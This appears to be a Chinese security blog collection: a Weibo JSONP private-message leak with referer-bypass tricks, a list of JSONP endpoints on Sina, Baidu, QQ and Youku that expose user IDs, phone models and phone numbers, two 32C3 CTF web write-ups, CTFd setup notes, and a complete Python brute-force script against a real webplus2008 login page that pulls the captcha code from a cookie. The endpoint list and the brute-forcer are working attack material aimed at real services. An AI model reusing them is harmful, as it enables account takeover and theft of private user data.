点击我的链接就可以偷走你的微博私信

一、漏洞说明:

微博上你点我的链接我就可以看到你的私信内容

二、漏洞证明:

http://api.weibo.com/webim/2/direct_messages/contacts.json?source=209678993&count=500&add_virtual_user=5,&is_include_group=1&callback=msg

这应该是浏览器端微博私信的一个API

这是一个JSONP接口,也验证了referer,但是允许空referer!!

所以我们可以构造页面跨协议发送请求。这样可以空referer访问

==================================

绕过referer的一些技巧

 http://xxx.com/?http://sina.com.cn

http://sina.com.cn.xxx.com/

JSONP的一些笔记

游戏安全:这一条可以查询QQ号,玩那些游戏,以及游戏时间[已失效]

昵称生日:这一条可以查指定QQ号的昵称和生日

JSON:这个没有callback暂时不知道怎么用,会返回朋友网的一些信息

新浪微博:可以查询ID 以及几个不知名参数

新浪微博:ID 昵称 头像

http://game.weibo.com/home/indexv3/pajaxUserInfo?callback=getdata

http://guba.sina.com.cn/api/?s=user&a=check_friend&uid=&uids=http://guba.sina.com.cn/api/?s=user&a=check_friend&uid=&uids=2882345664&rn=1457361094127222&rn=1457361094127222

http://wyxgw.game.weibo.com/index.php?appid=1111&callback=eval(window.name);//

留存备用,如果遇到$.getscript(“限制新浪域”)就能用到了

http:///a.mp3

新浪博客self-xss。。。

http://fm.baidu.com/dev/api/?tn=playlist&special=flash&prepend=&format=json&id=public_tuijian_suibiantingting&callback=packFmLoadSo

抓百度id

http://map.baidu.com/?qt=deviceInfoNew&type=1&uid=&routeInfo=&t=1457952588507&callback=asd

可以获得用户手机型号

http://app.gamevip.qq.com/cgi-bin/gamevip_other/qqgame_get_relation?type=3&callback=jsonp1458041577226&filter_type=3&appid=0&_=1458041577244

获取好友的接口 但是做了referer限制。找个flash做csrf?。

http://act.vip.youku.com/vipactive/active/index.php?c=reg_partner&a=reg&code=10001&callback=getmobile 优酷手机号

CTF 两个Web题目的Writeup

TingHosting
A new file hosting service for very small files. could you pwn it?

http://136.243.194.53/

可以首先在页面中发现一个隐藏的src参数,在URL里加上?src=1之后可以返回出页面的源代码。

大概的意思就是说可以往服务器上传任意文件名的文件,不过每个文件的内容只有有7个字符那么长。

于是首先google了一下,最短的php webshell应该是14字符的这个:
(不知道渣浪会不会蠢蠢地胡乱转义。

显然不够长啊。

后来脑洞了很多,想到了可爱的*,于是很重要的payload是:
z.php
内容为:
刚好七个字符,不多不少,能把当前目录下的所有玩意按顺序执行一遍。

于是就要构造一些执行链了,一开始的想法是:
busybox ftpget two.dog w.php z.php
其中前4个文件内容随意,w.php是上面的关键payload,执行w.php后其内容被我服务器上的webshell覆盖,而获取webshell。

结果悲剧的发现busybox ftpget支持的host只能是ip,而不支持域名。

后来想通过wget来构造,利用了302跳转可以跨协议的特点。
wget wtf.two.dog z.php
前两个文件人意内容,z.php为重要payload,即可拿下webshell。

但仔细一看,这题会在每一个人的目录下创建一个index.html,于是执行链被破环没法工作。

于是使用bash来先干掉index.html
构造:
bash bb index.html z.php
其中bash内容随意,bb的内容为rm ./*不超过7个字符。然后再通过上面的方法即可获得一个webshell,然后在根目录发现一个flag。

之后看了老外的做法真是简单好用,就利用bash、bb和z.php,bb的内容分别为ls /, cat /f*,简单直接0 0

Kummerkasten

Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
Please note: This challenge does not follow the flag format.

Hints:
To build the flag, concatenate both parts and omit '32C3_'

进去之后只有一个提交留言的地方,四下看了看没发现别的东西,感觉和XSS会有关。
直接丢了一个盲打cookie的payload之后收到了回显:

访问过去是403,感觉需要用XSS来读一下页面的内容。
本来的思路是XSS里带上jQuery然后用jQuery操作,结果发现页面里面有,太方便了。
直接用ajax可以轻松读取页面并回传。

看到了 /admin/bugs 和 /admin/token

根据页面中的信息来看,关键是要读两个png图片回来。

最后的payload如下:

然后把两个图里的内容,一个mysql的password和一个6位数字拼起来就是FLAG咯。
更多的writeup可以参考如下链接:

https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web

原文链接:http://weibo.com/p/1001603925793708368740

2015安全组结课说明

时间真快啊,转眼大半个学期下来了。
很荣幸担任了安全组组长这一职,同时给计软院科协,校科协网络部的同学授课。
还记得当初招新的时候你们一个个晒得黑黑的。。。
当初很多人都是满怀着热忱来报名和面试。我的确感觉无法拒绝
因为我没发看穿一个人是真的想学还是只是三分钟热度,所以我没有拒绝任何人。当然,也是根据以往经验,能够一直学到最后的人很少。
现在结课了,仍然在学的人有的是高中就有基础的,有的是大学才开始学的。
对于那些中途放弃安全的人,我也没什么好说的,如果有更喜欢的方向就去学吧。只是不要荒废了时间在游戏上。

安全一直是一个敏感的话题。所以我授课的时候也不能无所顾忌的带你们做一些“违反乱纪”的事。
国内对于网站渗透这一块还是规定的比较模糊的。
就好比,你可以渗透一个大型厂商,然后把渗透报告提交给乌云这样的第三方平台,只要你没有影响到他的正常运维和用户体验,他们一般都是很欢迎的。
但也不排除有些厂商恼羞成怒什么的报警啥的。
CTF最近越来越火,可能是国家也意识到要注重这类人才的培养吧,不可能直接让你去网络攻击,只是通过CTF这样的形式来磨练。
有时候也不要说CTF脱离实际,他很多地方考验的是你代码基本功以及逻辑思维。这是在高级渗透中所需要的。
希望喜欢的人能够一直学下去吧,这条路还是很有前途的。

至于渗透。
我没法手把手教很多东西,我也只是比你们大一届而已。。。
在实战中可能遇到各种各样的诱惑,还是希望大家以后能坚守本心吧。
低调,不装B,不被诱惑。

安全涵盖的范围太广了,很多攻击手法我都闻所未闻。
大家没事的时候还是可以去乌云去看看一些已经公开的漏洞啊什么的。说不定别人的思路会给你很大的启发
还有就是多百度,不要畏惧代码。代码以后是你强大的工具。
以后的学习的话,可以跟着别人的渗透文章,遇到什么百度什么学习什么,慢慢的你就可以了解很多东西

好像也没什么要说的了。祝你们好运吧

CTFd折腾笔记

项目地址:https://github.com/Chinalover/CTFd

install:

1../prepare.sh to install dependencies using apt.
2.Modify CTFd/config.py to your liking.
3.Use python serve.py in a terminal to drop into debug mode.

先给prepare.sh权限,然后./执行,需求的环境是要能使用apt-get的(ubuntu或者debian之类)
使用python serve.py便可以发现网站已经可以运行了,因为网站使用的是sqlite3,数据库 不需要过多的配置
但是 flask自带的网站容器看看就好,性能很差。
gunicorn我的低配服务器也经常cpu爆炸,所以折腾了一下配置nginx+uwsgi

apt-get install nginx

在/etc/nginx/sites-available/目录下,创建一个站点文件:site

server {
listen 80;
server_name www.myapp.com;

location / {
include uwsgi_params;
uwsgi_pass unix:/tmp/uwsgi.sock; #注:这里的sock文件和uwsgi的sock文件配的是同一个文件,因为nginx和uwsgi需要通过这个socket进行交互
}
}

然后用Linux的ln命令创建一个link到/etc/nginx/sites-enable/里,link的名字也叫site,删除sites-enable目录下的default的link(直接cp文件过去也行)

启动命令:
uwsgi -s /tmp/uwsgi.sock -w "CTFd:create_app()"
service nginx start

如果不行的话 尝试切换到/tmp目录。
执行下 chmod 777 uwsgi.sock

写两个sh文件便于管理
start.sh
nohup uwsgi -s /tmp/uwsgi.sock -w "CTFd:create_app()"&
service nginx start
chmod 777 /tmp/uwsgi.sock

stop.sh
ps -ef | grep uwsgi | grep -v grep | awk '{print $2}' | xargs kill -9
service nginx stop

webplus2008密码爆破脚本

import requests,sys
vcodeurl='http://202.119.224.200/control/validateimage'
loginurl='http://202.119.224.200/webplus/login?returnUrl=%2Findex.jsp%3FsiteId%3D0%26pageId%3D0'
errlen=0
def getcookie():
r=requests.get(vcodeurl)
tempcookie=r.headers['set-cookie']
tempcookie=tempcookie.replace('Path=/','')
tempcookie=tempcookie.replace(',','')
tempcookie=tempcookie.replace(' ','')
return tempcookie
def getvcode(tempcookie):
length=len(tempcookie)
tempvcode=tempcookie[length-5:length-1]
return tempvcode
def login(name,upass,code,cookie):
global errlen
print 'try:'+name+'+'+upass
payload={'isSubmitted':'1','userName':name,'password':upass,'validateimage':code}
header={'cookie':cookie}
r=requests.post(loginurl,data=payload,headers=header)
if errlen!=len(r.text) and errlen!=0:
print 'success!: '+name+' '+upass
print r.text
sys.exit(1)
else:
errlen=len(r.text)

print r.text
if __name__ == '__main__':
if len(sys.argv)!=3:
print "\t webplus2008 brute v1.0\n"
print "\t --------------------------------------------------\n"
print "\t Usage: ./brute.py \n"
sys.exit(1)
try:
users = open(sys.argv[1], "r").readlines()
except(IOError):
print "[-] Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for username in users:
for password in words:
relogin=0
username=username.replace('\n','')
password=password.replace('\n','')
newcookie=getcookie()
vcode=getvcode(newcookie)
try:
login(username,password,vcode,newcookie)
except:
relogin+=1
if relogin==3:
pass
else:
login(username,password,vcode,newcookie)

传个文件吧b